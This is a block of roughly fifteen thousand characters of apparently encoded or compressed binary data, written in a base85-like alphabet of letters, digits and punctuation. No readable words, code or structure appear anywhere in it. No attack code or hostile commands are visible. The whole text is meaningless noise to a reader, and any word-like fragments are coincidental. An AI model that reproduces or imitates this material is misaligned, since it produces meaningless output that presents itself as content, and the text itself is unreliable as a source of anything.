zI~3mNwr4KV>`g_$Z_^2T6S)fMxYus0$!HYMLW?3Tfq*?iW>evb2JDC(-Rte9 zVuI#j4a(#WEN*4Ef1<#s>jZFGqLmf{8~TP8vN*UBvW;4OhJOSyg+7lV96rX-k(>m|$1^rV^Qg z#el2N3!72D8ABJxey5eLfG_Ih&?evu1=FCOFKSRx1HkXBAAAbnxBm;ys7vxnR_bNb3`si-JKVd# z4s2Fl{tz6;aZGOo0FOkk;M+trxRJUQFeWa?KIc^%%2+IZYXbW`0{s#+SG)o_33w3! zr#o4r1n7e#{Hqi2&x>BcvyJGWTC+l}S+3T2)ta)}s~Q_jl3X4n=MZB2o}--na?ng;v0e`2_*mRoQKv3V!Oy}( zGk`-gNEj1M?8X(&AfRAAyCeMvodn7{{LMQ5vu1^@+T_x`jA(&rB|r?NUatj1EH(0@HrX*_?D+t z>Ee?=f(`;);d3-7;YlHj{v3^lF2a1Pk!n;ug4N^pBv!2~Lb!AD;(td^5G!t>@T*U3L=iPYcfRm3STAe=xP#CFt=bRZE?~IWL^4v)ZIQ|}sstI-#bx#vME_M&C@p~r zOlhR@Kj0_;Mof8y8kk~_OaWe*K$-G1RYwdid*BSkKGch6qJa+_qZpsX?Fi3j4qbE{ zPJ|l4R39nElX;0LWg2}$`K-J`&{EY$D985K<5x0K2Kbq!HN^xphx!lVje`I19#xfu zS7u3+mN&t7VM`|P4j|C4dP6&c`-!lU9%>;JUP22SUf{yz0RT`p<3SJQELH|~Z2GfM zRO<7*(4-jvynG1TC^}D!NwN9>)frD${*~UuS*S)QMZCJ}8AKXbGRYYRhRDGpLU_BQ z#pcuZY(z_lK3{`bOznG)CIE2H=X^>7Mk5_C#sr7E#3%x{-OZSOJ71v!htRU{RZNV8 z5=%Af`rM&m<>({?_#e6ecJm5;0&nH^<(Os0#7fSFRC9Ym0cttg9RT1Y`T1~Wa{t=d zLvqFWE63+L!M^mXf)3%P->D$gIBNJ~kcL1vA;a9xmK-hXZpUXVvJp)n1gTGi@kRRi zUm)06u-qQWr;lx>#rDW$;wz=r9?8KM8wf7J2IuEL-Hbp7C>Hj5QjO=uQ~}T4bPAzH zx7*&t@evb*3CNX5RS`m7LPH7d2)bIpd6jR!4JBMiFYiM6= z?5q6k71Rb-AMQjNk~659$W8!PULi7?x?_nSM1oeBAP!z`Euboh<6prv%EAO@nwyF! zQ*zOViS}Z&(=hoFZ9WGlsqmPkc-kZ55CP{OkzjB7A?h+fbW^p0w(+GiXmf~f10QD4 zBx8+x`MCjFkl7f6HCjU%yvpb4*Cp%xds~79n3{;esly%^SJ4jHIzyl#o@mcvC5G!5 zQyX5TcF>r~R--+z9=iI`C%PwvC|%3RVX6v~YpTz`)k(}>_!5`C6jm&L1GKg9UxNc1 zgwub;OpZxt1=>!B0{p=aeDh0?2NVz9s&a;p7lBR(;_v!{xgbS6#Ym&e&BTyRN2-rc z5qUmjX)hA5&ErsfgExby$|ms@n7GuVDH!0>vjm48anknL1)_}Q8ow4xpQY&=E&St( z1VUyZiXTEc%DiTjsT5`Qi!!+L9a1=!G>&!Bqpf=(vW7B)js>XwAvnM(>pQ^$SW~x5 z<_EF5ViFh%iJyi}1-x}3<|2OyoF48yfl1&YqBIq_u@n*rVaY(k6brS54` z+d=JY{2qb|{t*b4w1y2}9e;)1!V-mb4h;2`ZcLFE^`(;4z$DMtuM3hLf$v71KwvL@ zvu5Iq)N!l)^i8~yI&KYe8|H(3XOKm-6T+_)zlv3#WO5g}imInA0}x0#UHG0LzT@Mo z_)Vy|ihqP>U|8a!X@XN`T*he;DxlPD{30O_K>?$j>)d*`KZC{eJ`2&!oLYMI4 zXk?Ix1OHd>1w<=wFf%ItGyohlldb?TCpqZOTKTe&t)?*bK^(vgkE`M~LKUXY&*JI) z9Hy9>&(DY#xlP4kN{iFp%sUa6oW|tFXt=t=dAngOWNZgtcsJFo%Q;YnP=p~i=vfb< z)F@~=)wxl*5^vBJO z2lJaJlq?1TN_AITH+@2n)V4G!{_kxjY1!_{yG_j#meCbvXE%K*B>xc$b$ur8=&{OU z;MtIdopVe)m6V&L97PlOC0H1VKH|KTtKH{5D^KFT!ZI@Y*qI~xco2OoEO%`A6!fJ$ zyV(wJ&0_daqCW~{of&@@x+dI$r3}p6+DiO8>DIqCCFBHrk;1Jz3x4-ID7>L&DaQ_yJnBG70CuXa)CRF#zMby^Y~qs2HmKuSSx~LO zNh9|-Vbr{cjT1)AvW@V>DMB?Wc{sXLpIL*YJPBUVBk5ND!BT=_L2O?!NL!{-wlM{j zm`Jq>$Z$7C;wV=}<-A)1S7wu+gWvsb!*ona_Qo=(1gyn47T$-O=Gno#)-w0OdK1kG z%(%j8Cyuc})lCLc)#GII$nO}lym~e~0OV{;bW9P=@;deeIN-`oDEV-AUoUQ9Cp8RR z7Symf)aiO>RewMHb2eS4Em>qOlCU{|9Q@Y?pz{#+_M8}Or68>ny!=nJfg>s-CJ{!# zD??EmH$%BlSbZk^3mh*xgKAMHcwefGc8N~Z&E^p~s;V+F2paW1^Z>+>wIcaNsxngU z2wwrSf?(4SS?C$CKeP`YXn4-(g55tLi1h>Ra}76)YW#d^JdP7i;!~;RgE%E0jHOe{ zm6$btG5&JN*BXyAi79Y=Iu~99%MGgN740{ghp98Os;aO$SGH7Dfm4xl1&tl>1F=ry z2qJpm=RYJ40OdF_$Ix^HwDn!22Nt(F+TR;tSb6~0N{(bZkWr_bTTz`e3D;Q5RJE6X ziVW~LXe290I>RmQw{83@OzrjP7FuNuP2xN78R$!0hg~oQGOa0?B}v60GY^9kz%s?x zUGOqDv_K$~dnqH1JI`8a>pwp0@YpxhaTJrF7dv}qgBt7$u7iGO+&X$@t)=I*HT0af zik?L)@T_|r_ zbb^hDr5*rLGQqK6FD35VfKV)TEuI+`sU?=WPNXIT05#HqB70Y%*=pn@KJ~1}F{SqH zM<)1^O#ofN^`|=UfFrkF8@Q3INAal?Q3eS*PZR$$AuUL-^{j`H22Jc9ypjf!mGFeZ zl>_PGGyxp)zjq?JjXVadLZ9w}@rnp}b4vX8?905~-PUGXT5(f**nG2m8U$@ZTZ+W5 zp;9viJ&(5~7*E!wblOQ3L35oQS3cR%`ls~p`gof5Pl%A}?02W(SK+|Jmy1VDew}?s zI(|1JYKI?DJ8BVicU>_acX{#HvKEhqjY#+&;&$APxE)&&w`0df?fFK))Lx_Kjq*Mm zh+D>vxBiK4Q7KgUOaijc&@`*j{WUVm$;)be8>SS$;McZLnCZA@9l~2s! z4060JUAj!}UjC1?lZ3WvD8qX_=F)~6&4x>N?T}5{F-e#~`FE!yIT2d%(H()_ug9;`YTP)A~P)HdkYUqZ;n-sDJgEZjB#(`sAC6?#Q1Xs4k zO4l4lSgFI!@%mD_RlZ?kn{Y>3+_sCfp^IasL9&v-YH``Z#5~cr1dYRNV9CJw=o|?o z!K6|Kl3-v#EZu;`Y84U$zV$5|cofuOnB&K{#CM@NQB-RfMLvhpFo3zqKNTN963&{> zMKcY@RQ$D-LsZ!@fv$?A8|zzrp!-7T3}63kF09$G&2!?>l0K~D!K$XkA%XtpUBtTj zP*V$PqBE1=Uf|k_ibOrukb}38TuLcG;~qkzY6BrL%uEC52QIq96ajm47XiarT_d#C z2+cJ@w-})XMrerE)x7!=1yIhwQLFwbHT0m z+R+1d34r)`6T#(e*yU(C3!B!}Za_%bv}PIKBrGL8k#8a|ZTa%Vyk_%g;uD7wo|yDI z7Sr{8^7ysZV9k7kH!`u+q@^34>lwJBK+mEjLJQbGdTNuzm%-bxRbd;zos#n$$Q67T zNc8LP2b<}=?_pX-?+3SwfLML+2g4#De4yV~iYN!zC#qo|ExPa|rHC?0;c-e4Ws<_A zt#Iz8?(CzKy|ngXsZ{Xd`^b--a*49W^52(Orv~d~EPAiOs_myWk%l#=&!ggO9#IXl z5)<4+V|4?b(O82J>@ylG>fly590RGhvm&xI2TyE=6O(|Zf1n@Rm!u&}lB?&T)5EJL z|NPa1?0_?sR?e%!c3^ma8!HFY5MuN95f8zrHfnG>!Tms;o<)QOC9{H0B8br;yd#_{ zXlatpVjvG=iGg#&Nv=c4fouPH8`=&6VC7v<$8MIQABP2(8>)stPos<2j5H0C56EX{Nb`<6^9{jgzR`AA8D_yzyn5U{EZho zO9vP_u@>cZ6bFahjMq(Iw82Lf<+`M!P*1PRsFSI@6im@+uBXQ{#JaMJ$eAsrBvU7S}tXP-EsAXn+Oqa&A70*Dx z)m(Npn@9O!`PRJWcD4y$j`ugcRpqZMEdR{jG#gw-!&50MakROKihbCvZQc0z>TsToviFDioa!sO5%38D3xORG@veqRT z?ZY#73>tT}#O!F2`6wFYKECN4%w403?f(LWx~R;BQ?d=4$ombKQS0F~%D@o*1QzZN z%IIq~h0FU|tupjsS??KZy@>TIpG{}6)`8U4&(h3uBh+b87?QhZaJST4Y6(6GHWBye zq0})^%DDJcFU1AU1D2&a{#@0$?LUCI;WU8|Xk$3#4qGbKoz_@kX^h{~R%+Ra@iCMwmWDZ`FILW(?GKXWQ5R#bXB|dG*kM-VpgLwoypPzH*F=Ab63jOS0>dyv z+lYHoNTh@oXdSgKU1=*$rD4)4&bSY6`n`S~zw!v??d4ebG0RRp7nEW9i|}qyisldz zfxp@l*jKTY(TO8m;RmiUn`R?f4HguIO-p_J-)Udg!fB@6X>j)VQ^>N^&;JeHCs0HM z)S_oWGk}dF2861(%f}l~pmAYQ05?g5XVM9Udh%5XsMPpHJ{X8=z7$Idgl{QYWj+o2 zuY6b+P2df0Anj6Wjf7UmQmMtXU|lVN)o8aqk1FJ=L@xTI3xeWZNlVk+=(@4yD&d1y zg+GU&rsIszN?VMMdq4qU4QG({*JHJ)6R`{$7tSQRYoTZGKWEw>ZYf1ne1V=0$;t{5 zDdh%rrET{m_UEJCQXabvD;qtSsHY1J`4~vyyVKw=(rhZFO9RRsa5lM?{2b+FT(~BDmRfrm7Kc1txKrBTY|~gU6P{tc@o~6-{RFy!PM{CRyRk)Gv`kc< zvgQVKs9ioqeZdHZSBf@T(S(~8WQ3Q3rWfJXdoME2;=f;ObaLG8G<47CoDPLWvZwKJ z{Ix_DbE%$=q?NYPZaUzI;^~l<31d{i(LElK=t<3L;Edc7bW=hshhA4G#0sa;6vPai ziak0=7k<3jfdTbZHBUP!9R5#YM(?FFaq7H7NPvzqZBOtiGtNsih zgLMR20P5rB4V z0S17web1mSb>1)V#Ews@)P&=jaO;I9h@RC&ORdAz=l%%SaJR&_))l(KAiybgh57P8 z;@#_KMGKG*_O`sJ@AyD5{>GjUsx|n=f#$Y_aT(7Haza6m5c-Y}{zG)^{S0ym?-gii z2l+iQ${`Qpc7;x=6SFfT@h!CKgi+stCfxeCa-4vg)imYP`DPp^BS(dUA`+*Te1tf2VAg&c4C2KvJd#P ztLfrH9ap$-E8ek`_LC0ODj#jE$7v5I?GB@xa8aTOKGB5hd5UPl8Bz|ygPYFO;a|KR zhQytPw{O0)Q@%nedh%irsc>$P-hA^K;wr)3!;5w$G+4JliGq0L5RUWN5W`oXJrH#Z zSJ}cB1r4OUiwk6YMl>{sxK01UR&9UHKuoe#8z_u!;tJ9a_@8c-q?c%$DXg;Dn{LKO z0_+iP0?_U$h!Ml#;~#+|ApsTV)-V99VhtL^TK$EvZNaNvdvOms=Z`6oPz}Sb8!KI>ATr)igft_(lfriuVW%>}O%$#v z`f)NGp>Rc!mJHud;e|yoj~V%QQTVE&A0@-PDSS!Mb18{*6vUMsMbA<=9rcrrTHmrR zWYymZs157jtAP$yQlMt-YC$FvlE?uXdTcegM3HpA{|xNYWlY0f*Gcn0(#^ig|60Xo z#lQItz{4jiJT3xleE+e1q!^8_2jd93kadQZzdY!|afGa1e7kxL*@@mgB20f+PtW3l zOq_9fdR;h$E2qDDGa$zuk<&15w~dP4S7?I`1+Ny#7s_vV9g&h3 zf13wERXa(~M>^>F#C!C7?if8^c@xjN2Ok*_FRe$so;WOCkwfD3bc=ZX@@2dpe<;$6 z7xUoHjagLf48CKcKGH#}5l(5#234(#K5#5Tqvm3FLX2oj51xkF8MmbYwWMptpNBy# zaQP?#B=AA%wFiHc+9=sAl zq&|;OJFE#bSL>aIX=T{P%l{qCc{9n(fcOJerXgWeR*o75vL^{+QO;;%QO=05D3^>y znZj6vKTVo67UhuC21^lbT00sR?9{Q~cWj+I+C=mpw_uH4U?PfjVgjFMA`Q?c&aBl#ag-xYr*rxKEm%hQK zl1JV~vQyYp$P#V<7b`09XRa@>rU)vwvxjKM2&%xU;cN&U#$ol@s_?V1N4`K7_?H2` z6l}z|_QZC4vm-cpKppV%w^jiQy>z&^PyVie1QI$pz)M0YRs4M@9};Z(c=|)3qNf-~`B{h&pS=no5F@&&M~0GsE*Vmu zCQLx@kaP+1WI~}L<)S!dI@Lx7!v)B*TOhwVz58|q#8_cm_R-PK1hJu`48-$VXX0*Q(+Clk$~W<+%3LI7$SDMJ50YZe#`{B?GN5(r;pw(Dgy*mc5>b$NG@ z6@E0~AlpS4LqrYE%iqd&5y}vnjL<|czw{O0{dp?IKgatyg|DwY* zT2l)jr8ZG>Iox*i=P8NbfsBEG)-XJ_JB+cNz|ztBv1kNT*rk-Iuy!zf5nE~*iN2bm z;fzK@9rN*A3Z6H{bkCR@GZC|5u8-y84@Az!U$fyMtQopBZK{udPRj>(g~|4vL&nhz zAKy%SI&PE}=USi=vIRRx(e{7Xdms3yigWS%B-y|Mfn7Cd&>*WuMFScIm9T&bAtBKO zHh&19AcSN?5<(I;yZlkW;0BwprrOrF+IlNgdrPag+Nyx{ABX}fwfLt>6>U_sCoU=~ zLJ%as?=$C|WC@$r-uu4q{k->g7oNmj}1kq7o=~+GEca z7iNgG@H2!ygUQL+*fbdxLhOd^?t~Y{4WkGLVs3i6?=v;nu)Qz=RCix48%}yOqpC*i zFhZU1DUaoR>(e%JlWI>=0n5Qn`10BL=NVNL+G5$K5 zuOv`aEu-10L{{OR)oIx?_1ow$=^JFJRH~!#nRjNDeCAc&&*T6~;usC<$)n^A&LgTO zz<~Wz)2w*@1gksz5vGZy`k4?iI2Ucgl8a0A!929tvL7HRE=PZ*ChpZERbye0`d4Nd z&YPjMGhCmp8p(x+&xly1GxeX8m?8y!)%Cb!8QiVixF1wGT``=bOu^06yXXy(K751P zuhOxcqN+J)P6V;F%AdoQK7ZzzEo&2|w%i_XhgW5K@>HxlCdwy_Psg%T67aOG5t^rE z?oqvLD=*bTFidcf`)=L-het)XQ__Dxb~*gbKa_`G$%7P*S?qz+tE9yB^WkYsHJ*i! zb3=B-Y#{R;^B&`k%B&=|Fx=M)O3w#n9jTSESyjEBgFMZhjG`E)wt4JL<29~9l5MCq z_f~(RT>e?4|BUWQ%?8TYA>~lNSbzMX{&xSDETD(94O}XBsDF%q9~VaAiS@t3xZgOn z87XL7jO4Y6MOj(x{t*)krsE_{RG&u|E1Tlrx;x2^)^R3FVESufT)bH!Rt?ghmq9>_ zJgNC?XH};(Gr1@bgDD21t8cM2LA-@~`x@;W9nr|n%6ETdqE^Mb zm)cgu>s_ocanaFq?qJy38fZ6Ht%57I+BE-AE_beydD3F&UH+{${Tzf6F5xq~0{it; z7_*AtH7=c2B7_3%q#3@)S`kBUsU+j|pO6sz^sg9Zsrv*F?JG`2>dD?mJQ>;B7SdLa zQ)MzPxXc+BxSX5nS08c3|7e)sx%$XC;@VdqITx2LQOlAwtYJ40dCZHMtt|<(9oC6u z5#CAEM`mGLw0~XQ@q~yi{`J>AEpV|N1#b%;t*gwIb)3E#tBi z7&uBM^%fT2yG>5GZ-G_0xb4B^Hf;qrEZIVN6yfEegduS+#cl0g1=%kqWdrqlh^puE zM}6g7Eg#w1s$!ImY~xK1Wh8`>+8VH+TZIiq=hk-Sq`5ZL-gRSgsGkQ79w#@e-XNM+ z?M@qbEvqeS-nnIO*d|}=U2>vLr@Q}(-`{Zk+H7euw$0beA+UqCqk!+At_C;X#e2{& zH+Cu+FnT?R@ui%ms{a9xUPB-fl&SpI7743ANxRrpGpg!tDZy{pn80P^T++mj+qwIK z-d)^T%zo~@T}zUG+V=Ed@JL_nffN!%8-(SgQU{cb2gCvKESGaG#9vg+r{wJos-a*#1`aGNs`U|(yB~%evX;kWYw$+JF=ay)$~OE$ezl}D2;6#$`byyQ6d}>(>fKo_vnvrqZstzDsOMJwy2ys z)YEPwr>iHaT0J?qidxNWaETLDr5-X-)#?5dRh7o(dzThqsLCtuu}>uUfpp?$2b5*R?cBztw|=B|S&;m&Bp_xv?AZz7)aKBo-M8lq&S- z^3BMb@7M9NkXEwY+|JhX<`Mo}eSCMc-x_=_>PFlHqHC!cxKzK6FFmR@_Y>G0Yi<=r za@g_;?Am6A?@gbX6d0#}I^7V;Uxq;K)jh`2WVP z2TI;3UhX-Wn}8i8b4@c6+UA_1jyk7umhu6RAOm?lhrWqQmg^sp8yL&kY&mvrd`Qy& zT`d4}TvAf8-tY{&u97Uu?GcnxD3*G9h;&g;hG3szKVdGetxQsA3Z`ArrN5QBp_6BhI|d>$aw&vYx#7C%h$*de10TF z)t`^7UpyUYlq_0s^(4j;)UExzxtaRe?-6=)6MoG_m{32X+q>B4 z1kbaq1baSeIk*`KIdMQnN5h&x$rVhN^HE z9Bf>uPQ75a*|LM~t5!^PH+0@IIb`4ZzAcVDP=yDXoA1|j6Q&ZQ+h!j)6qgY=9|33( zaALW*=hND*|Moa+0~~w6TzWF=Ws<}ev{5Ii_|~%k(>;ejR?XziP2z*9bfzfxiIRWO zM0ui#@-VmVWD1@u;davJhHR1t`?G3hY?5P*jt&!z@T4dM$C`_ziRL6SY(Le|3xkwi zaIBG~pWv!w&9O#o81%;}&){ZJGK@Drgol1Vn2=Ji9I2rHSe}|h!SYFsa@Bv6Z?qwb z(T)gQ{eFQ`L@pz>6SdGFNr{l}@ox2NR8p!FaWuEWQ6DGFRkxy##!EHfZlFh0*AYv7 zn$6RQ;gN zZUtW`M>_JhSvHwb-w%d;Fv%gl*8>OXDfRof&&}w*&+K9@ew!^ld;cx(b`|Ks?1MB= zUAyI(@Fh|cSMEWe(AL@Q4Q-OZO)nD(tn~N8{>oQBt|!?y`fjSMm(wdSy$*3_gnrmSATN>+KVq`=Xr0s zU-u0>l;MhTtYP9@JCtdw^q(ikdl(ZRL8K0>tYJ3P$lXnRuA*Hz`*9h%NikUcjr8Qc zSu!g17p12ME)Onu#`#92&rV!&VW==URK&`Ff4E~~AVpLc>egW9q_mhlXU}AKgn_4E zB1rm=j3QB=5=_d_{fwJL`G?}qpIyW)EB51&wJ~tt7s#^b>yA72o=FRS-nD@8*j-08TK!5C@csMR3 zohY`JB+h1;;dH;Qynp3}ovzSM4pcvo`sLbzEeWSj<^;lXv3KSmN-=>>9Ky~Xj_0#a z$G)l{G4Po%iESCiym3h41{`Sq8c)j{d)KUvWt2)wl0HOIHcg~&RYEJvyrKHn|3O_f zHnUxTOw41d6HdewPYhX^aL07VoS=|(VaKLfllf|OY|5P?du*61Axei_UoW2#9N&15 z(;z)Hmle|+a&?eymla*PGSpLZxrIAOLW961cxuL2xONlg^wf;CaJxjH=RFcM(NlAU zg?`)&n&hdu(!#9=S6XvbF=35#?=%CsJT(_vfmZbJOYzjC7Rx!be8hOopd&psqpYBX zCT^6cX0(NyXyVd5HJ4bpi+Wg&_0(Kyp-(k~CVOhqEZlKsog^#cJT+4++$Sb(f~O|i z!o3O3%yovRCdWcQYX+U-shMiw9yD>eT-s^jern?KJvDh2F4)7;4NdrS-6!@2Qz)p@*44D?ByREgT>8Dw!%z%{UA91#@kZ zbgic*-NL;K&dhj&r)Io`-fjlMjhS-+9;6Q)+q{V7@G>!t{yR?JfH|DZHw?zldwSu zRdG%kKU=h$P1+-hHlT;bs^C0D!%~10jUzAH)C{)OmSeeO#*Ds2rD-&0(C3@z=M~y$ z(V&Nz=$#5}G-}X?(dcHTb}5R{uA#gOg*sszfoV2v(A!P4%uae};!*&hA2!i@6xwLx zpzrQsFGDJ6=4OOdW`uTyHd;Cn7MkdN3T-rY&>j=5E40zxL8tey->)b}lZP_GjPQm+ z8?7F+-9#TyXrtkS{(=cG$?HLdHrhVuw?UhQ)2S#%^M|sTj39SJSlR&eH6~g{`IbTeJ;p>QDzu>!KqvRGms^i5 zwE!j7j3B%HMKiD(C7L(P1eufq^SPi6*l#ifDDda1(p({YYVxm0?ZRiTnn@qHfJVjU3#9mKXGMoO3 zo&;pF#ZzNy3rImT&K!j|l?C`k;8$;-54P0O6bPcYc@(z^gV-0{J-X%lMr=>Y`8<-1 zK!IN}w%~%1#mY_4y~<_sSGkG$4CN;21>#<*=cq@QK1sPL`jyHZsb8YpQTheSP1Da- z?pXbF<^sn%CEt#T+m7A-7sN8)09p!rT*OgnMzpUI@ z`Zndx(VtZAeEm`7R_G5Zw@SZXxwZPwmD`~INV%LctK4OJP`NAgn{h>ijZL&heX(FS zN=KqEP+sXg^qI;l9fqE-ymyK>Q+cIV(63Zp=?U~yI8f%;`b^~&{if$DuP8J8r__g4f_MEbG&qzFX$=wB$WXdC@wqUG3@*&0A81uhfGxb0JLO!>{@9p^BW0X2E zHLjjKYOLwzKdgquf?s;fkc`$uda$soss-yrD z9>-c&c0MV|cX%c19y0&(7BbIKG48)H%YzNuFCm0fv#3d&9XeWL`|4Nv0>WUgA(LY} z0s}bx;@?Ox{3>d!bsX#+&3`4goJv2QaLUYcN8rpchjNPbpA(Qt82v{QfkogBdC#rm z9GjL*Dy|uV!Pf!#v>E-b`n1X7bH`!fhJizcX7Rb>v~ckzj_(E|E?WEx=BJF_AdBw? zBRc4}6*_Uy4!@&Vzxg<+2Vd#xScEhouJ$^0t-a|;+KN+~j-=l*xTzzJlM3Wcz>e^w zrXy~4jviP$Ev98iju>ly9sX#&6j*EAdU;8$S+@1^YFe}G>*a;CW~Hr{*C0ik#YABz zWkM-(?hxN}?47}*Y!8e>+o(=V8NFp#FYqwJIKC~(G(T8;FY*~0X#rjeEc;li5k0%J zRhc}r{z4R1w?(X4`7}C{Pr!2zygNP-ailJd5Efj2>W)t`F@p_EqB}m>#2o#(3X|lH zcbS+D1C#8IPcboX85oy4ex!+c!N8=r<42j8M-9w4cYKD4S#Mw_xZ|gom^%zihC4pj z#H=(hQ{3_SCT5X=$#utjOw4SBS(5L*qC{az^{Il1R@-?6W`$3Z3ZHyph2PEegR1av zKYe0_cgQ3qyKzDH)bI~}##6Xms&|s3d91{>>DL=Uj?oBCDb}AQh}7*(D(GvfR*!4T z;#+*ERbflsHY&E$QS8j2YDBsqt92 zPnir8mVApBTDZTOIKIWtR5-p&UXV#MH4Tt;k*8)D3u7`#s{hUmdaGjV*%ms&Vq56jV>8Z69d(WG>}8T1lQO_7D0YT_>S)D&B|F(!^rd85#1x+8j6 z@-=Ui8)&;3G{Y)4a0i+0l8o~yZB!2=nA}K3gM@rdslcEBms={Azdtzv~Y}zS(Mk3D)O~MlCwBRaRjDPUV zuGeSk{-09H7hndm-M;#`Y`$HwSB0FXmI?<*$N-A-^&a}iT&ieI8Fr0*LD+T;ttAO% zp|nh9JkQ-Noz_&Q&snM%E^~04eH40^>ASP_zr17FlRUUx6$OV|j8y`spUo*qJHm@= zlJwdqASo+ShknM-WOgrs!XiVSnt}Q(yt6rZIQ{HEswxZiNEth^0%y$B@Bax=^$+f` zBC)O>9@IK1%y!@wAz4$mEYGV|=O_OxtBwQpi+Dw{beg;yZBELzihJ# z9Z(m;jNy>fWG=ofXXbGXH;3*FZEam;Yh7h;U6ru)ednO9ZL6FQKKS4h@>*EpAaLp{ z&&n2~wTUq;&W!1S!)><>=TY4ux;D`cZd%~5+KE9fR_{+{O)tU}Yi8RT{Ts14USjJS z+Jx}W%1}zyqh&11t+>tcvXwCd>-&Ri*L+6M?P~<#VmnV-+rNDd!m)9uV`H3q=hD+t zw`O?S?iwug8ds6NjwM_~T$>dW+!o71)SFDcE=g!xbBsu&=OJwg%BY7;jmzGkdb}f- z!GNW8&+I18BvP?%ds15d6f*$Ip(lX47g7cK+aD!Rij>>!*^-Rx=Nr0f^rE8MlHAZlL8C(Z@E`_B(Kkgi;QC2v1T7^?nB@)FJ7elp&tvTt$Bz< zird|Gohx{B*wTSb`9p>~+X`Lb!Ez^Tf;_s~3fo(p;kfOZmg)YpZ#z0dS#RfjU)fqE zRNXD@V&I=xE+~~zU#DTYH?_e(JjkIe{xd>Lt4yQ4Q>0m7w0ACnx3OKmnyeVx<(F1r z1LVF!ogQ>0Bib{u>=J`fDkfHg#?JXt{g*!?{CWx0I<+dKLKBUkV)km)erkpm{=S@W zHdw!uf-!5pj9_^)a@x!(n^>C~-oT+_!Q;mRXYYs?FU7#lUpv$3YbB_%XR2^#JxjJ;dAu9iL?7{UQ_e?(rkfUHLtGRD5T&5w{-W38nG&u zt`6m|!tdC$109`!h*J4W!EiD>Coif-A*icBsTSInmCVZgHX8Vt*CtcHTW_|tHYTLc z&>go)n`v748SG!j*B1DE?U3dd9nDk#u4B!Si$8n>DSRn5pj0C7)pEz#WY;GTzOL!%zmD z99)S}Q(&L3BeVnAc4Wy%r>6F|*Ys=6O5jlSw${gBbX{fWvdY#p&JSVd*freC{+0gL zQSN4aj7Hg%A2-~V;oiFBkg#7RYno{kdRx}nPaKC^lii+?7dXNaynYH%;M!Wu;yX5H zrp_`{)y<-+!oN&2DqIW#^;wuLa`d2_JD3CVi56s|)kp^)JdexKi1?T^6-JWn zV&5PyC=|eyiX%VFR>H~YRoy42-*hK|TW_c;4o#Gn(e>6LP84*kk-@xqs-R;HXI05r z>>nQ?s4M|e2=_OUKfYw{Z&q%?{Vlj-wumiNXZ%WMWhg((S=pM9?FXF^))i%Efnh^iKV~vLu;ulY%@)`^e5=hy0_|{TJx=5%DbDr zBVIO6A{9M@*)0~xNk=dCoOHAjX2w$B!{{oO0y9|wWP?^b$Mc2X4}C#Z_1kjjrWkYV zXB{xM#di8+>UsCMM=_e7E41+$CRFrdck>ON-?X_hrU%9?k&H%yB$u zOJR7!(%p+);5j~LZ9hfY9^<&*meTkc_eVVM!jhzCzai)MB*=Y9EEHE`O*TjCJqmPRRjaypdJ5onsZWB5Z{Kn?H?C@XZB%_4XS6lka^`{*%fkUC4Tifk%Tg7qW zyu`h&aspDnuO5W)KqK5I5{?AsZR4-aD84aUP^}p(tFFkQ7`ON*v5p(J?Vi-^xHJaG*AoYAI13EO|2Y+i0n4-Z=2Z(6I^1GL=`KXQF$O%4oZM{CU z)tqH1q)+fjpJ5cRHxYs1GJDN6Bp8pnx|Swen<(TUwPP=C zE7i{t39uRre{KfkO1#K`vb%?UXq)6EhH#g`eK8fiM}u+ zQ)_QpDd&{B+A{B(JRyE5M;`u_{qLF2;^*YUBaUab#vN+&AK1NiVDpRINXOANys3ec zn~r3zh;KS_-70%iM_JR6VN2s^T1K%3_pj*bHk6UEesD9j@vYDSohpxZsae*R-Rv>O z=W-14`SAxh5;xY#{4zQ}QFQ}>0q5NI0QDdvoGF33Hm>7Ae~jj#Dv+m7-+psT3s){LiXLSL#1A;{*~`PqW*|ZtJR~aM7V0du(7jQze8Pg_#fq zeWm_83Yk8U)Hw_{IL#j0x++;;hgz78acSTjiI^NJwI6yeMod?KDk`4n1A;Hbw3aeb zPUa$`%^E43x6{4T(R|-O6VcI}B%Pa)_E#5?HFhPCcp8FgC{b)z({Esh!(dU(*z1LJ z({D)dPe9NFOQuWNix(bFsK8jEU1~D>cVQ;1&Mqwu?a<>zi;AcY;S96%8)Q@Ysw7f~ ztSV~1)!EGvbtOubK4)XZ``j#DrB$t?ya=mK_d6%Yo)Mm7ir3!~Z(w?kGjN&YVFYGs zS|BaBDnavKYzAu|Y35>BsfS!#t-4flF_2fow@H$e_=y>ix_(2@ke_1uh<=r!eNc}x z&K%Ei>aT$^pM#Z2T81P`Kb@24kFSZH74FZ0$V15!=Mg^oJSPw3u$3=KYHN<2EAsfb z8uS}^Gk)8K{sEiR&}}5Ms)uI=teicpUSgC2D~4h{tf+Z5Gp_o?6GNsyVWiWxSy~AC zS1SMN>2@2*b!-FG+F#B(nP+Q_;|pROwx7i{r&rn0Y5Jvn5>Q_`1!JL|uP6WYLM~N1 zz=nu-K$juMR4H%m}NxRfb~WTikI&9ZYDg++;+RvDU}RM~3BNv>?oD{rn709$eWUaY++Y~g8L)3k)U;ewh2hj1&N+s2&uQd>UGnVatZ`k} zaXI>#{aTm#{f>=kj*Y`ozw)2Ptt*Ed_ibzQpCz|!tVtz^V`D>%W8>_YDC7i#91A%% z3i(qs7qR0Y$3b>PFed|tB!QO*5^AuyZ?yTB5Y$FcTNFPKiR^PfI1{sgO^NLjIFMJ`M6|eaP`!f`l3p-8Uwx@<=3TViZn6gVRvR zL!*#oK@K@ihkSYza<)M}1M(St$Z@WcBguVZl9D5dph;0U9TjD=v0)hGXw7M_K|T}m znNeatZII7`d{!TF{7e*4L$dqEWPc3_B@;BcS5T%}mO|p&diL;>Npm1^9?$HvPbOtT z8UblUFOtz#1Lwv)7xz-?H|}p7!R_=yaXaGv9PAq5_}&AwiLR8VA9{~_6SsHVEe*-D z&t16BU+viVrDJ2^zSJ*i`mc#zd9KZWsvMB?7AbuM>7$cLPeJ+^(#I#0)M-{=b<|tiU z$g|&FxZe_kZ^M(s_zR&B<5L)Y8il;kAb$q=vnb@B8syI*f8K`}ekH~Mci{m`3`|u| z5@VXd=nEKq5rurIL6%qeWfZd0Ab$nILSX+25 z3^{`gvDN{$AhlbCw!Ho)6uHA6g~xVI(uvIvs1SKv2@+ z!f@4id$*#~4YJjMdy@~N9EcsQ5nH|f8w3e?{_ZaPyCsIS>E4WfXE4$cBU)p=!yxz7 